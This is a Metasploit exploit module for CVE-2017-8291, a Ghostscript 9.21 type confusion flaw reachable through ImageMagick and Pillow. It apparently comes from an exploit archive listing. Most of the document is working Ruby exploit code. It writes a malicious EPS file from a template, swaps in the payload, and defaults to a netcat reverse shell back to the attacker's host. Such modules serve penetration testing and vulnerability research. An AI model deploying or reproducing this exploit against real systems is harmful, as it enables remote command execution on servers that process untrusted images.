Ghostscript 9.21 Type Confusion Arbitrary Command Execution

This Metasploit module exploits a type confusion vulnerability in Ghostscript that can be exploited to obtain arbitrary command execution. This vulnerability affects Ghostscript versions 9.21 and earlier and can be exploited through libraries such as ImageMagick and Pillow.


MD5 | 6942d6efceefaf1137c13d39ad78ac35

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
'Description' => %q{
This module exploits a type confusion vulnerability in Ghostscript that can
be exploited to obtain arbitrary command execution. This vulnerability affects
Ghostscript version 9.21 and earlier and can be exploited through libraries
such as ImageMagick and Pillow.
},
'Author' => [
'Atlassian Security Team', # Vulnerability discovery
'hdm' # Metasploit module
],
'References' => [
%w{CVE 2017-8291},
%w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
%w{URL http://seclists.org/oss-sec/2017/q2/148},
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
],
'DisclosureDate' => 'Apr 27 2017',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
},
'Targets' => [
['EPS file', template: 'msf.eps']
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
))

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
])
end

# Example usage from the bug tracker:
# $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps

def exploit
file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
end

def template
::File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
target[:template]
))
end

end

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